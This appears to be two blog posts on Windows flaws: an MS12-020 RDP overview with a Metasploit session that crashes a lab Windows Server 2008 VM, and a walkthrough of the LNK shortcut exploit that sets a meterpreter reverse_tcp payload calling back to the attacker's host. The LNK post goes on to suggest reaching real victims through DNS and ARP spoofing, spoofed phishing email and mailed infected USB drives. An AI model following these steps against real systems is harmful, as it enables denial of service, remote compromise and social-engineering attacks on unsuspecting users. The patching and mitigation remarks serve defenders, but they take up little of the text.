MS12-020 RDP Vulnerability overview and testing


By now if you have been paying attention to your news readers, Google plus or twitter feed you would have noticed that Microsoft released a patch to a nasty denial of service (DOS) vulnerability. Here is a bit of information about the vulnerability; “This security update resolves two privately reported vulnerabilities in the Remote Desktop Protocol. The more severe of these vulnerabilities could allow remote code execution if an attacker sends a sequence of specially crafted RDP packets to an affected system.”

In short the system would crash and have a “blue screen of death” thus causing the system to reboot. Now the other option would allow and attach to have remote code execution on the affected system. Even though this patch was released over two weeks ago most organizations are still vulnerable and that’s not because the choose to be however most places have a  “patch cycle” which require extensive testing prior to deployment.

As explained by the fine people over at ISC Diary The Microsoft released patch has several reference KB’s which includes ” KB2671387 (Remote Code Execution – CVE-2012-0002) and KB2667402 (Denial of Service – CVE-2012-0152) or KB2621440. The reference for the update you’ll see on a Windows system, when installed, depends on the version of the OS you’re running. For Windows 7 you’ll likely note KB2667402, whereas you should only expect KB2621440 on a Windows XP host. As always before applying any patch ensure that you read the release notes.
We recently patched our internet facing servers that had RDP enabled and everything went well with the exception of one server that we were unable to log back into via RDP, we had to gain access to the server via the ILO port then applied a few additional patches then rebooted and that seen to solve the issue.Now for the fun part if you would like to test the proof of concept exploit for this vulnerability grab a copy of Metasploit follow the steps below.
 My Test setup:
  • Linux (SolusOS)
  • VirtualBox VM running Windows Server 2008 (with RDP enabled)

Launch msfconsole and follow the steps outlined here:

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
RHOST                   yes       The target address
RPORT  3389             yes       The target port

msf  auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.2.10
RHOST => 192.168.2.10
msf  auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.2.10:3389 – Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.2.10:3389 – 210 bytes sent
[*] 192.168.2.10:3389 – Checking RDP status…
[+] 192.168.2.10:3389 seems down
[*] Auxiliary module execution completed

RHOST = The vulnerable host that is running a vulnerable version of RDP

Screenshot of server 2008 reacting to the exploit
Now go on out and patch your systems and if you have some time load Metasploit on a host of your choice and do some testing.

Mitigation:

http://isc.sans.edu/diary.html?storyid=12808
http://www.metasploit.com/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids

http://technet.microsoft.com/en-us/library/cc732713.aspx

Exploiting MS “LNK” Vulnerability

A few days ago I posted a blog entry called Microsoft Validates Shortcut Vulnerability, this entry basically explains what the issue is and also listed a few basic mitigation techniques.

Below I will be demonstrating how you can actively exploit this vulnerability using Metasploit.

Proof of concept testing:
This test was preformed using my BT4 VM which was assigned IP address 192.168.126.135 and a Win XPSP3 VM using IP address 192.168.126.134.

Step 1: Load Metasploit and get latest update

On my BackTrack4 VM, I browsed to /pentest/exploit/framework3, then load msfconsole once that is loaded run svn update so you can get the latest and greatest.

Fig-1 SVN Update

Step 2: Select your Exploit and Payload

msf > use exploit/windows/browser/ms10_xxx_Windows_shell_lnk_execute

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > show options

The show options commands will show you the various parameters  that needs to be set in order for the exploit to be functional. In our case its setting up the listening IP and listening port.

Fig-2  Choosing Exploit and Payload

Step 3: Fill-in required options and run exploit

At this stage you simply fill in the correct IP address and listening port for the machine that you are launching the attack from. If this is not correct the victim machine would not know where to connect back too, since I selected reverse_tcp.

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > SET SRVHOST 192.168.126.135

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >SET LHOST 192.168.126.135

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >exploit

Fig-3 Fill-in LHOST and SRVHOST

Step 4: Get your victim to click the link or view the malicious file

Now at this stage  you have to get a bit creative, I can suggest a few things you can try:

  • Use Ettercap to DNS spoof a target network and redirect them to your malicious URL, example.
  • Use a tool like Social Engineering Toolkit “SET” to send a spoofed email with your malicious link, example.
  • ARP spoof your host network and find a given target that’s using Facebook or one of  many social networks and try to send them the link that way.
  • Try a far out social engineering  attack like purchase several USB drives inject them and mail them to your target with the label “free USB drive”.

Once you have your targets in sight just sit back and wait, once an exploitation has been kicked off you will see the below;

Fig-4 Successful Exploit

Verify you have an active session, session using sessions -l, next connect to that session with sessions -i #, from here you can run help to get a list of possible commands. I simply ran ipconfig and getuid to show that I was on the Windows XPVM and that it was successfully exploited.

Fig-5 Running Commands on exploited host

Fig-6 Popup box on exploited host

In the end there is really not much the average user can do that is not aware of your everyday vulnerability, but us as IT professional need to be in the loop so that we can take back the information and make them aware. Lastly the image in figure 6 should be a dead giveaway that something is up with your computer if you didn’t connect to a share but all of sudden you see one pop-up its time for a “wipe and reinstall.” Have fun until Microsoft patches this one and remember to be responsible. All feedback are welcome.